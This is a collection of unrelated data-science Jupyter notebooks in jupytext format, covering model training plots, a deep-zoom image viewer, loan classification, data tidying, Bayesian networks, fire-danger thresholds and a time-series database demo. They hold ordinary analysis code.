# vars(keras_model.layers[-3])
# -
# vars(keras_model.layers[-3].forward_layer.cell)
| torch_weight_conversion.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # training histories for all models trained with searchnets stimuli
# +
from pathlib import Path
import matplotlib as mpl
import matplotlib.pyplot as plt
import pandas as pd
import pyprojroot
import seaborn as sns
import searchnets
# -
# #### helper functions
def cm_to_inches(cm):
return cm / 2.54
# #### constants
# +
SOURCE_DATA_ROOT = pyprojroot.here('results/searchstims/source_data/10stims_white_background')
FIGURES_ROOT = pyprojroot.here('docs/paper/figures/experiment-1/searchstims-10stims-white-background')
# -
df_trainhist = pd.read_csv(SOURCE_DATA_ROOT.joinpath('training_history.csv'))
df_trainhist.head()
# #### make figures
# first, figure in paper
# +
RC= {'axes.labelsize': 6,
'axes.titlesize': 6,
'xtick.labelsize': 4,
'ytick.labelsize': 4,
'legend.fontsize': 4,
}
sns.set_style("darkgrid")
sns.set_context("paper", rc=RC)
N_ROWS = 2
N_COLS = 3 # train loss, val loss, val acc for transfer / initalize
DPI=300
FIGSIZE = tuple(cm_to_inches(size) for size in (10, 5))
ys = ['loss/train', 'loss/val', 'acc/val']
ylabels = ['loss', 'loss', 'accuracy']
col_labels = ['training', 'validation', 'validation']
def trainhist(df_trainhist, net_name, save_root=FIGURES_ROOT, save_fig=False):
fig, ax = plt.subplots(N_ROWS, N_COLS, figsize=FIGSIZE, dpi=DPI)
df_net_trainhist = df_trainhist[df_trainhist.net_name == net_name]
for method in df_net_trainhist.method.unique():
df_method_trainhist = df_net_trainhist[df_net_trainhist.method == method]
n_replicates = len(df_method_trainhist.replicate.unique())
if method == 'transfer':
row = 0
palette = sns.color_palette("Set2", n_colors=n_replicates)
elif method == 'initialize':
row = 1
palette = sns.color_palette("Set1", n_colors=n_replicates)
for col, (y, ylabel, col_label) in enumerate(zip(ys, ylabels, col_labels)):
sns.lineplot(x='step', y=y, hue='replicate', data=df_method_trainhist,
ci=None, legend=False, alpha=0.75, ax=ax[row, col], palette=palette,
linewidth=0.5);
ax[row, col].set_ylabel(ylabel)
ax[row, col].set_xlabel('')
ax[row, col].yaxis.set_major_formatter(plt.matplotlib.ticker.StrMethodFormatter('{x:0.2f}'))
if row == 0:
ax[row, col].set_title(col_label)
ax[row, col].tick_params(axis='both', which='both', length=0) # turn off invisible ticks
ax[row, 0].set_ylim([-0.1, 1])
ax[row, 1].set_ylim([-0.1, 1])
ax[row, 2].set_ylim([0., 1.1])
if col == 0:
if row == 0:
ax[row, col].text(0, -0.5, method, fontweight='bold', fontsize=6)
elif row == 1:
ax[row, col].text(0, -0.5, method, fontweight='bold', fontsize=6)
ax[1, 1].set_xlabel('step', fontsize=6)
fig.tight_layout(h_pad=.01, w_pad=0.1)
if save_fig:
for ext in ('svg', 'png'):
fig_path = save_root.joinpath(
f'{net_name}-training-history.{ext}'
)
plt.savefig(fig_path, bbox_inches='tight')
# -
# figure with all training histories
for net_name in df_trainhist.net_name.unique():
trainhist(df_trainhist, net_name)
| src/scripts/experiment-1-searchstims/training-histories-10stims-white-background.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# +
#hide
import os
os.chdir('/home/frank/Work/Projecten/DoRe/data/hasselblad/RP-T-1898-A-3689')
from myb2keys import Deepzoom_demo as mykeys
application_key_id = mykeys.application_key_id
application_key = mykeys.application_key
bucket_name = mykeys.bucket_name
# -
# # Viewing your deep zoom images
#
# > Creating a web viewer
# Ok, you have created and uploaded your deep zoom image tiles to your own cloud storage. Now you would like to actually view them. More precisely, you would like to create a web page with a viewer, so that your colleagues can also take a look. Even better would be to create a multi-image viewer.
#
#
# We first need to check which images are available in the cloud storage using the `DeepZoomBucket.list_names()` method.
from deepzoomup import DeepZoomBucket
dzb = DeepZoomBucket(application_key_id, application_key, bucket_name)
dzb.list_names()
# Now, we can create a html snippet for the images we want to include.
html_snippet = dzb.make_html_snippet(['RP-T-1898-A-3689_Recto', 'RP-T-1898-A-3689_Trans-Recto'])
print(html_snippet)
# And here is the result when embedded in a web page:
#
# <div id="openseadragon1_dzi" style="width: 800px; height: 500px; background-color: snow"></div>
#
# <script src="https://cdnjs.cloudflare.com/ajax/libs/openseadragon/2.4.2/openseadragon.min.js"
# integrity="<KEY>
# crossorigin="anonymous">
# </script>
#
# <script type="text/javascript">
# var viewer = OpenSeadragon({
# id: "openseadragon1_dzi",
# prefixUrl: "https://cdnjs.cloudflare.com/ajax/libs/openseadragon/2.4.2/images/",
# tileSources: [
# "https://f002.backblazeb2.com/file/deepzoom-demo/deepzoom/dzp_RP-T-1898-A-3689_Recto/RP-T-1898-A-3689_Recto.dzi",
# "https://f002.backblazeb2.com/file/deepzoom-demo/deepzoom/dzp_RP-T-1898-A-3689_Trans-Recto/RP-T-1898-A-3689_Trans-Recto.dzi"],
# sequenceMode: true,
# preserveViewport: true,
# showReferenceStrip: true,
# showNavigator: true
# });
# </script>
#
#
# *<NAME>* (c.1650-c.1655) <NAME>, Rijksmuseum [RP-T-1898-A-3689](https://www.rijksmuseum.nl/en/collection/RP-T-1898-A-3689/catalogue-entry)
#
# For more information about this javascript code see: [openseadragon](https://openseadragon.github.io/).
| notebooks/30_viewing-your-deep-zoom-images.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Model evaluation using test data set and all models
# +
import itertools
import numpy as np
import matplotlib.pyplot as plt
from matplotlib.ticker import NullFormatter
import pandas as pd
import numpy as np
import matplotlib.ticker as ticker
from sklearn import preprocessing
from sklearn.metrics import f1_score, jaccard_similarity_score
# %matplotlib inline
Feature=pd.read_csv('Feature')
df = pd.read_csv('loan_train.csv')
X=np.load('X.npy')
y = df['loan_status'].values #labels
#X= preprocessing.StandardScaler().fit(X).transform(X)
from sklearn.model_selection import train_test_split
from sklearn import metrics
from sklearn.linear_model import LogisticRegression
from sklearn.metrics import log_loss
from sklearn import svm
from sklearn.tree import DecisionTreeClassifier
from sklearn.neighbors import KNeighborsClassifier
import warnings
warnings.filterwarnings("ignore")
# -
# !wget -O loan_test.csv https://s3-api.us-geo.objectstorage.softlayer.net/cf-courses-data/CognitiveClass/ML0101ENv3/labs/loan_test.csv
# # Quick Preprocessing
# +
from sklearn import preprocessing
test_df = pd.read_csv('loan_test.csv')
test_df['due_date'] = pd.to_datetime(test_df['due_date'])
test_df['effective_date'] = pd.to_datetime(test_df['effective_date'])
test_df['dayofweek'] = test_df['effective_date'].dt.dayofweek
test_df['weekend'] = test_df['dayofweek'].apply(lambda x: 1 if (x>3) else 0)
test_df['Gender'].replace(to_replace=['male','female'], value=[0,1],inplace=True)
Feature = test_df[['Principal','terms','age','Gender','weekend']]
Feature = pd.concat([Feature,pd.get_dummies(test_df['education'])], axis=1)
Feature.drop(['Master or Above'], axis = 1,inplace=True)
Xf = Feature
yf = test_df['loan_status'].values
Xf= preprocessing.StandardScaler().fit(Xf).transform(Xf.astype(float))
X_trainKNN=pd.read_csv('Xtrain_KNN')
y_trainKNN=pd.read_csv('ytrain_KNN')
X_trainset_tree=pd.read_csv('Xtrain_tree')
y_trainset_tree=pd.read_csv('ytrain_tree')
X_train_svm=pd.read_csv('Xtrain_svm')
y_train_svm=pd.read_csv('ytrain_svm')
X_train_LR=pd.read_csv('Xtrain_LR')
y_train_LR=pd.read_csv('ytrain_LR')
# -
# # KNN
# +
k=9
neigh = KNeighborsClassifier(n_neighbors = 9).fit(X_trainKNN.values,y_trainKNN.values)
yhat_K = neigh.predict(Xf)
k1=jaccard_similarity_score(yf,yhat_K)
k2=f1_score(yf,yhat_K,average='weighted')
print('The F1 score is:',f1_score(yf, yhat_K, average='weighted'))
print('The Jaccard Simmilarity Index is:',jaccard_similarity_score(yf, yhat_K))
# -
# # Decision Tree
##Test Data-TREE
Tree = DecisionTreeClassifier(criterion="entropy", max_depth = 2)
Tree.fit(X_trainset_tree,y_trainset_tree)
predTree = Tree.predict(Xf)
t1=jaccard_similarity_score(yf,predTree)
t2=f1_score(yf,predTree,average='weighted')
print("DecisionTree's Jaccard Similarity Index: ", jaccard_similarity_score(yf, predTree))
print("DecisionTree's F1 Score is:",f1_score(yf,predTree,average='weighted'))
# # Support Vector Machine
# +
##Test Data SVM
clf = svm.SVC(kernel='linear')
clf.fit(X_train_svm, y_train_svm)
yhat_SVM = clf.predict(Xf)
s1=jaccard_similarity_score(yf,yhat_SVM)
s2=f1_score(yf,yhat_SVM,average='weighted')
print('The F1 score is:',f1_score(yf, yhat_SVM, average='weighted'))
print('The Jaccard Simmilarity Index is:',jaccard_similarity_score(yf, yhat_SVM))
# -
# # Logistic Regression
##Test Data Logistic
LR = LogisticRegression(C=0.1, solver='newton-cg').fit(X_train_LR,y_train_LR)
yhat_log = LR.predict(Xf)
yhat_prob = LR.predict_proba(Xf)
l1=jaccard_similarity_score(yf,yhat_log)
l2=f1_score(yf,yhat_log,average='weighted')
l3=log_loss(yf,yhat_prob)
print('The Jaccard Index is:',jaccard_similarity_score(yf, yhat_log))
print('The F1 score is:',f1_score(yf, yhat_log, average='weighted'))
print('The Log Loss is:',log_loss(yf, yhat_prob))
data=[['KNN',k1,k2,'N/A'],['Decision Tree',t1,t2,'N/A'],['SVM',s1,s2,'N/A'],['LogisticRegression',l1,l2,l3]]
df=pd.DataFrame(data,columns=['Algorithm','Jaccard','F1-Score','LogLoss'])
df
# # In the future we will use grid search to optimize these parameters, as looping through is simply too messy
| 06Test_Results.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Multiple Variables stored in one Column
#
# This notebook shows how multiple variables stored in the same column can be isolated.
# ## "Housekeeping"
# %load_ext lab_black
import pandas as pd
# ## Example: Tuberculosis
# ### Load the Data
#
# Select the same columns as in the paper and name them accordingly.
# +
columns = [
"iso2",
"year",
"new_sp_m014",
"new_sp_m1524",
"new_sp_m2534",
"new_sp_m3544",
"new_sp_m4554",
"new_sp_m5564",
"new_sp_m65",
"new_sp_mu",
"new_sp_f014",
"new_sp_f1524",
"new_sp_f2534",
"new_sp_f3544",
"new_sp_f4554",
"new_sp_f5564",
"new_sp_f65",
"new_sp_fu",
]
tb = pd.read_csv("data/tb.csv", usecols=columns)
rename = {column: column[7:] for column in columns if column.startswith("new_sp_")}
rename = {"iso2": "country", **rename}
tb = tb.rename(columns=rename)
# -
# ### Messy Data
#
# The data are assumed to be provided as below. Except for the `"country"` and `"year"` columns, the remaining columns are actually joint realizations of two variables `"sex"` and `"age"`.
tb[(tb["year"] == 2000)].head(10)
# ### Molten Data
#
# As in the previous notebook the [pd.melt()](https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.melt.html) function can be used to un-pivot the columns. As before, pandas keeps rows for columns with missing data that are discarded. Then, without any more missing values, the column's data type is casted as `int`. Furthermore, the resulting *molten* dataset is sorted as in the paper.
molten_tb = pd.melt(
tb, id_vars=["country", "year"], var_name="column", value_name="cases"
)
molten_tb = molten_tb[molten_tb["cases"].notnull()]
molten_tb["cases"] = molten_tb["cases"].astype(int)
molten_tb = molten_tb.sort_values(["country", "year", "column"]).reset_index(drop=True)
molten_tb[(molten_tb["year"] == 2000)].head(10)
# ### Tidy Data
#
# Using the [pd.Series.str.extract()](https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.Series.str.extract.html) method the two variables are isolated. The age labels are renamed as in the paper.
tidy_tb = molten_tb[["country", "year", "cases"]]
tidy_tb[["sex", "age"]] = molten_tb["column"].str.extract(r"(f|m)(.*)")
tidy_tb["age"] = tidy_tb["age"].map(
{
"014": "0-14",
"1524": "15-24",
"2534": "25-34",
"3544": "35-44",
"4554": "45-54",
"5564": "55-64",
"65": "65+",
"u": "unknown",
}
)
tidy_tb = tidy_tb[["country", "year", "sex", "age", "cases"]]
tidy_tb[(tidy_tb["year"] == 2000)].head(10)
| 2_multiple_variables_stored_in_one_column.ipynb |
# -*- coding: utf-8 -*-
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .r
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: R 3.3
# language: R
# name: ir33
# ---
library(bnlearn)
library(forecast)
# ### Preprocesando el dataset
library(readr)
sensores <- read_csv("~/phd-repos/tmin/tmin/datasets/junin-chaar/sensores.csv")
colnames(sensores)
head(sensores)
# Procedo a desfazar el dataset, los datos a un día posterior.
#nombre de las variables que nos interesa predecir, temperatura minima a un dia posterior
pred_sensores = c("S10.min_T","S11.min_T","S12.min_T","S13.min_T","S14.min_T","S15.min_T","S16.min_T","S18.min_T", "S19.min_T","S1.min_T","S20.min_T","S2.min_T","S3.min_T","S4.min_T","S5.min_T","S6.min_T","S7.min_T","S8.min_T","S9.min_T")
# +
sensores_T <- sensores[2:nrow(sensores),] # no incluyo la primera fila
# renombro las columnas agregando T mayuscula al final
colnames(sensores_T) <- paste(colnames(sensores_T),"_T",sep="")
# creo dataset de datos tiempo "presentes" y datos del día siguiente o T
# pero considerando solo un sensor, no todos
sensor <- "S11.min_T"
df <- cbind(sensores[1:(nrow(sensores)-1),-1],sensores_T[,sensor])
colnames(df)
# -
# muestro cantidad de filas (#datapoints) y columnas (# features o variables)
# muestro cantidad de filas (#datapoints) y columnas (# features o variables)
ncol(df)
nrow(df)
# Divido los datos en conjunto de entrenamiento y testeo
training.set = df[1:350, ] # This is training set to learn the parameters
test.set = df[351:nrow(df), ] # This is test set to give as evidence
# Grafico los datos de la variable "sensor"
x = seq(from=351,to=(351+nrow(test.set)-1),by=1)
plot(x, test.set[,sensor],type="l")
# ### Entrenando una Bayesian network con hill-climbing
start_time <- Sys.time()
res = hc(training.set) # learn BN structure on training set data
end_time <- Sys.time()
end_time - start_time
# Muestro detalles del modelo aprendido
res
start_time <- Sys.time()
fitted = bn.fit(res, training.set) # learning of parameters
end_time <- Sys.time()
end_time - start_time
fitted[sensor]
bn.fit.qqplot(fitted$S11.min_T)
bn.fit.xyplot(fitted$S11.min_T) #pred_sensores
bn.fit.histogram(fitted$S11.min_T)
# ### Visualizando la matriz de adyacencia
#matriz de adyacencia
print(amat(res))
# ### Markov blanket
# +
for(i in 1:length(colnames(df)))
{
cat("Markov blanket of ",colnames(df)[i],"\n")
print(mb(res,colnames(df)[i]))
}
# pregunto por el markov blanket de S14.min
# mb(res,"S14.min_T")
# -
mb(res,"S11.min_T")
# ### Probrando predecir valores
pred = predict(fitted, sensor, test.set) # predicts the value of node sensor given test set
cbind(pred, real=test.set[, sensor]) # compare the actual and predicted
accuracy(f = pred, x = test.set[, sensor])
#
# * ME: Mean Error
# * RMSE: Root Mean Squared Error
# * MAE: Mean Absolute Error
# * MPE: Mean Percentage Error
# * MAPE: Mean Absolute Percentage Error
#
# +
# TODO realizar queries sobre la red bayesiana, por ejemplo, dado ciertos valores de algunas variables,
# cuan probable es que otras variables tomen ciertos valores
# -
# ### Caso de uso de si.hiton.pc para visualizar Markov blanket
start_time <- Sys.time()
res2 = si.hiton.pc(training.set,alpha = 0.1) # <-- it takes a while running...
end_time <- Sys.time()
end_time - start_time
mb(res2,sensor)
amat(res2)
| tutorials-or-first-tries/bnlearn-continuous-prediction-one-sensor.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# +
import lazypredict
import sys
import numpy as np
np.set_printoptions(threshold=sys.maxsize)
#Read data file
import pandas as pd
filepath = "dataset/master.csv"
df = pd.read_csv(filepath)
df
# +
features = df
# Labels are the values we want to predict
labels = np.array(df['protection_status'])
# Remove the labels from the features
drop_column_list = ['protection_status',
'page_title',
'page_id',
'page_id_scrapped',
'page_length',
'page_watchers_recent_edits',
'redirects',
'recent_number_of_edits'
]
features = features.drop(drop_column_list, axis =1)
features
# +
#Encode string to float
features.loc[features['page_watchers'] == "Fewer than 30 watchers", 'page_watchers'] = 25
#Convert String to Floats
features['edit_count'] = features['edit_count'].astype(float)
features['page_watchers'] = features['page_watchers'].astype(float)
# Saving feature names for later use
feature_list = list(features.columns)
# Convert to numpy array
features = np.array(features)
# +
labels_encoded = []
for item in labels:
if(item =="unprotected"):
labels_encoded.append(0)
elif(item == "autoconfirmed"):
labels_encoded.append(1)
elif(item == "extendedconfirmed"):
labels_encoded.append(2)
elif(item == "sysop"):
labels_encoded.append(3)
# Using Skicit-learn to split data into training and testing sets
from sklearn.model_selection import train_test_split
# Split the data into training and testing sets
train_features, test_features, train_labels, test_labels = train_test_split(features, labels_encoded, test_size = 0.20, random_state = 25)
X_train = train_features
y_train = train_labels
X_test = test_features
y_test = test_labels
# +
# kNN Imputer
from sklearn.impute import KNNImputer
imputer = KNNImputer (n_neighbors = 5)
X_train = imputer.fit_transform(X_train)
# +
# Scaling
from sklearn.preprocessing import MinMaxScaler
scaler = MinMaxScaler()
scaler.fit(X_train)
X_train = scaler.transform(X_train)
# -
# from lazypredict.Supervised import LazyClassifier
# clf = LazyClassifier(verbose=0,ignore_warnings=True, custom_metric=None)
# models,predictions = clf.fit(X_train, X_test, y_train, y_test)
# print(models)
from sklearn.ensemble import RandomForestClassifier
clf = RandomForestClassifier()
clf.fit(X_train, y_train)
clf.score(X_train, y_train)
from sklearn.impute import KNNImputer
imputer = KNNImputer (n_neighbors = 5)
X_test = imputer.fit_transform(X_test)
X_test_std = scaler.transform(X_test)
clf.score(X_test_std, y_test)
from sklearn.decomposition import PCA
pca = PCA(n_components=4)
# +
features_pca = pca.fit(features)
features_pca = pca.transform(features)
# +
# kNN Imputer
from sklearn.impute import KNNImputer
imputer = KNNImputer (n_neighbors = 5)
features = imputer.fit_transform(features)
# -
print(pca.explained_variance_ratio_)
print(features_pca)
features_pca.shape
# +
# Using Skicit-learn to split data into training and testing sets
from sklearn.model_selection import train_test_split
# Split the data into training and testing sets
train_features, test_features, train_labels, test_labels = train_test_split(features, labels_encoded, test_size = 0.20, random_state = 25)
X_train = train_features
y_train = train_labels
X_test = test_features
y_test = test_labels
# +
# Scaling
from sklearn.preprocessing import MinMaxScaler
scaler = MinMaxScaler()
scaler.fit(X_train)
X_train = scaler.transform(X_train)
# -
from lazypredict.Supervised import LazyClassifier
clf = LazyClassifier(verbose=0,ignore_warnings=True, custom_metric=None)
models,predictions = clf.fit(X_train, scaler.transform(X_test), y_train, y_test)
print(models)
| results4-pca-model-63.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# <img style="float: left;" src="./images/cemsf.png" width="100"/><img style="float: right;" src="./images/icons.png" width="500"/>
# # Global ECMWF Fire Forecasting
# ## Custom danger classes
# Beside using harmonised danger classes, it is possible to use statistical methods to define critical danger levels for small areas, or even at the cell-size level. These methods are based on the definition of a local climatology and some countries, like Italy and Portugal, tend to make use of locally calculated danger levels in addition to the harmonised ones suggested by EFFIS to get a feel of how common the current fire weather is compared to the local climatology. In this tutorial we are going to show how to compute local danger classes.
#
# To assess the climatology of a given area, we are going to make use of the ERA5-based HRES reanalysis for a standard 30-year period: from 1981-01-01 to 2010-12-31. If we try to request the datacube directly from the CDS we will get an error because the data volume is too large. Best way is to write a custom application using the Toolbox of the Copernicus Climate Data Store: https://cds.climate.copernicus.eu/toolbox-editor/1117/download_hres_bbox (only accessible to logged-in users).
#
# For the purpose of this tutorial, the full reanalysis dataset can be retrieved from Zenodo. This dataset can be subsetted in time and space as already shown in previous tutorials. For the interested readers, a computationally efficient way to subset a dlarge datacube is to use CDO (Climate Data Operator). The command to subset a datacube over the Attica region is: `cdo sellonlatbox,23,25,37,39 fwi_1981_2010.nc fwi_1981_2010_attica.nc`
# +
# Import the necessary libraries and enable inline displaying of plots
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import xarray as xr
# %matplotlib inline
# -
# Open reanalysis 1981-2010
ds = xr.open_dataset("./eodata/geff/201807_Greece/e5_hr/fwi_1981_2010_Attica.nc")
fwi = ds.fwi
# Let us briefly explore how the data looks like on a random summer day and then look at the seasonal variability.
# Plot a layer in August (1981-08-29)
fwi[30*8,:,:].plot();
# What is the mean value over the area for each day (over the first 3 years)?
fwi_mean = fwi[1:(3*365)].mean(dim = ('lon', 'lat'))
# Plot the mean value over a 3-year period
fwi_mean.plot();
# As expected, FWI value oscillate between 0 and 60 with highest values in summer. A data-driven way to derive danger thresholds makes use of percentiles. The set below usually corresponds to very low, low, moderate, high, very high and extreme danger:
# Define percentiles of interest to generate danger threshold maps
fire_percentiles = [0.75, 0.85, 0.90, 0.95, 0.98]
# Below are two different approaches.
# #### Regional Danger Levels
#
# If the same thresholds have to be used throughtout the year and for large areas, the percentiles can be simply calculated over the full time series record and then spatially averaged.
# Calculate the maps of percentiles as threshold of danger
danger_threshold_maps = fwi.quantile(q = fire_percentiles, dim = 'time', keep_attrs = True)
# Plot the map corresponding to the 90th percentile = high danger
danger_threshold_maps[2].plot();
# Obtain fixed set of thresholds as the median over the area for each time step (as integers)
# Very low < 24
# Low = 24-31
# Moderate = 31-36
# High = 36-43
# Very high = 43-52
# Extreme > 52
danger_threshold_maps.median(dim=('lon', 'lat')).round(0)
# This approach generally tends to underestimate danger levels because the sample contains many low values occurring during autumn and winter months. As an alternative, one could only consider records during the fire season (if known in advance). Let's assume the fire season in Attica goes from June to August (JJA):
# Find indices corresponding to JJA
idx = np.concatenate(np.where((fwi.time.dt.month >= 6) & (fwi.time.dt.month <= 8)))
# Calculate quantiles only over JJA
danger_threshold_maps_JJA = fwi[idx,:,:].quantile(q = fire_percentiles, dim = 'time', keep_attrs = True)
# Plot the map corresponding to the 90th percentile = high danger
danger_threshold_maps_JJA[2].plot();
# Obtain fixed set of thresholds as the median over the area for each time step
# Very low < 36
# Low = 36 - 41
# Moderate = 41 - 46
# High = 46 - 50
# Very high = 50 - 56
# Extreme > 56
danger_threshold_maps_JJA.median(dim=('lon', 'lat')).round(0)
# This approach relies on the a-priori estimate of the length of the fire season, which is not always trivial. Also, spatial averaging over large regions should be avoided (if possible) to remove smoothing effects.
#
# These thresholds are much higher that EFFIS ones. How would the re-classified forecast look like using these local thresholds?
# Open raw RT HRES forecast for Attica (Greece), issued on 14th July 2018 (10 days before the Attica fires)
fct = xr.open_dataset("./eodata/geff/201807_Greece/rt_hr/ECMWF_FWI_20180714_1200_hr_fwi_rt.nc")
# Plot the re-classified forecast, Day 10
fct.fwi[9].plot(levels = [0, 36.0, 41.0, 46.0, 50.0, 56.0],
colors = ["#008000", "#FFFF00", "#FFA500", "#FF0000", "#654321", "#000000"],
label = ['Very low', 'Low', 'Moderate', 'High', 'Very high', 'Extreme']);
# #### Maps of danger levels based on the daily fire climatology
# More often, local authorities estimate statistical thresholds based on the daily climatology on a cell-by-cell basis. The thresholds are delivered in the form of a map, which allows to avoid any smoothing effect due to spatial averaging.
# To understand how this works, let's assume we want to estimate danger level maps for 10th July.
# Find indices of dates corresponding to 23rd July
idx = np.concatenate(np.where((fwi.time.dt.day == 23) & (fwi.time.dt.month == 7)))
# Let's expand this range of indices to include 4 days before and after each date
# +
indices_list = []
for i in idx:
indices_list.append(list(range(i - 4, i + 4 + 1)))
# Concatenate all the indices in a 1-dimensional array
indices = np.concatenate(indices_list)
# -
# Calculate the maps of percentiles as threshold of danger
fwi10July = fwi[indices,:,:]
daily_danger_threshold_maps = fwi10July.quantile(q = fire_percentiles, dim = 'time', keep_attrs = True)
# Plot the map of daily climatological 90th percentile as threshold of high danger
daily_danger_threshold_maps[2].plot();
# This map is very similar to the one calculated previously, which means that the fire weather in Attica does not vary much over the fire season.
| 201807_Greece_02_custom_danger_classes.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
import sys # for gioia to load aiohttp
sys.path.append('/Users/maggiori/anaconda/envs/py35/lib/python3.5/site-packages')
# to import modules locally without having installed the entire package
# http://stackoverflow.com/questions/714063/importing-modules-from-parent-folder
import os, sys, inspect
currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
parentdir = os.path.dirname(currentdir)
sys.path.insert(0, parentdir)
import signal
import time
import subprocess
import numpy as np
from scipy.stats import norm
import matplotlib.pyplot as plt
# %matplotlib inline
import seaborn as sns
sns.set_style('white')
sns.set_context('notebook')
# # Time Series Database
#
# This notebook demonstrates the persistent behavior of the database.
# ## Initialization
# * Clear the file system for demonstration purposes.
# database parameters
ts_length = 100
data_dir = '../db_files'
db_name = 'default'
dir_path = data_dir + '/' + db_name + '/'
# clear file system for testing
if not os.path.exists(dir_path):
os.makedirs(dir_path)
filelist = [dir_path + f for f in os.listdir(dir_path)]
for f in filelist:
os.remove(f)
# * Load the database server.
# +
# when running from the terminal
# python go_server_persistent.py --ts_length 100 --db_name 'demo'
# here we load the server as a subprocess for demonstration purposes
server = subprocess.Popen(['python', '../go_server_persistent.py',
'--ts_length', str(ts_length), '--data_dir', data_dir, '--db_name', db_name])
time.sleep(5) # make sure it loads completely
# -
# * Load the database webserver.
# +
# when running from the terminal
# python go_webserver.py
# here we load the server as a subprocess for demonstration purposes
webserver = subprocess.Popen(['python', '../go_webserver.py'])
time.sleep(5) # make sure it loads completely
# -
# * Import the web interface and initialize it.
from webserver import *
web_interface = WebInterface()
# ## Generate Data
# Let's create some dummy data to aid in our demonstration. You will need to import the `timeseries` package to work with the TimeSeries format.
#
# **Note:** the database is persistent, so can store data between sessions, but we will start with an empty database here for demonstration purposes.
from timeseries import *
def tsmaker(m, s, j):
'''
Helper function: randomly generates a time series for testing.
Parameters
----------
m : float
Mean value for generating time series data
s : float
Standard deviation value for generating time series data
j : float
Quantifies the "jitter" to add to the time series data
Returns
-------
A time series and associated meta data.
'''
# generate metadata
meta = {}
meta['order'] = int(np.random.choice(
[-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]))
meta['blarg'] = int(np.random.choice([1, 2]))
# generate time series data
t = np.arange(0.0, 1.0, 0.01)
v = norm.pdf(t, m, s) + j * np.random.randn(ts_length)
# return time series and metadata
return meta, TimeSeries(t, v)
# +
# generate sample time series
num_ts = 50
mus = np.random.uniform(low=0.0, high=1.0, size=num_ts)
sigs = np.random.uniform(low=0.05, high=0.4, size=num_ts)
jits = np.random.uniform(low=0.05, high=0.2, size=num_ts)
# initialize dictionaries for time series and their metadata
primary_keys = []
tsdict = {}
metadict = {}
# fill dictionaries with randomly generated entries for database
for i, m, s, j in zip(range(num_ts), mus, sigs, jits):
meta, tsrs = tsmaker(m, s, j) # generate data
pk = "ts-{}".format(i) # generate primary key
primary_keys.append(pk) # keep track of all primary keys
tsdict[pk] = tsrs # store time series data
metadict[pk] = meta # store metadata
# to assist with later testing
ts_keys = sorted(tsdict.keys())
# randomly choose time series as vantage points
num_vps = 5
vpkeys = list(np.random.choice(ts_keys, size=num_vps, replace=False))
vpdist = ['d_vp_{}'.format(i) for i in vpkeys]
# -
# ## Insert Data
#
# Let's start by loading the data into the database, using the REST API web interface.
# check that the database is empty
web_interface.select()
# add stats trigger
web_interface.add_trigger('stats', 'insert_ts', ['mean', 'std'], None)
# insert the time series
for k in tsdict:
web_interface.insert_ts(k, tsdict[k])
# upsert the metadata
for k in tsdict:
web_interface.upsert_meta(k, metadict[k])
# add the vantage points
for i in range(num_vps):
web_interface.insert_vp(vpkeys[i])
# ## Inspect Data
#
# Let's inspect the data, to make sure that all the previous operations were successful.
# +
# select all database entries; all metadata fields
results = web_interface.select(fields=[])
# we have the right number of database entries
assert len(results) == num_ts
# we have all the right primary keys
assert sorted(results.keys()) == ts_keys
# -
# check that all the time series and metadata matches
for k in tsdict:
results = web_interface.select(fields=['ts'], md={'pk': k})
assert results[k]['ts'] == tsdict[k]
results = web_interface.select(fields=[], md={'pk': k})
for field in metadict[k]:
assert metadict[k][field] == results[k][field]
# check that the vantage points match
print('Vantage points selected:', vpkeys)
print('Vantage points in database:',
web_interface.select(fields=None, md={'vp': True}, additional={'sort_by': '+pk'}).keys())
# check that the vantage point distance fields have been created
print('Vantage point distance fields:', vpdist)
web_interface.select(fields=vpdist, additional={'sort_by': '+pk', 'limit': 1})
# check that the trigger has executed as expected (allowing for rounding errors)
for k in tsdict:
results = web_interface.select(fields=['mean', 'std'], md={'pk': k})
assert np.round(results[k]['mean'], 4) == np.round(tsdict[k].mean(), 4)
assert np.round(results[k]['std'], 4) == np.round(tsdict[k].std(), 4)
# Let's generate an additional time series for similarity searches. We'll store the time series and the results of the similarity searches, so that we can compare against them after reloading the database.
_, query = tsmaker(np.random.uniform(low=0.0, high=1.0),
np.random.uniform(low=0.05, high=0.4),
np.random.uniform(low=0.05, high=0.2))
results_vp = web_interface.vp_similarity_search(query, 1)
results_vp
results_isax = web_interface.isax_similarity_search(query)
results_isax
# Finally, let's store our iSAX tree representation.
results_tree = web_interface.isax_tree()
print(results_tree)
# ## Terminate and Reload Database
# Now that we know that everything is loaded, let's close the database and re-open it.
os.kill(server.pid, signal.SIGINT)
time.sleep(5) # give it time to terminate
os.kill(webserver.pid, signal.SIGINT)
time.sleep(5) # give it time to terminate
web_interface = None
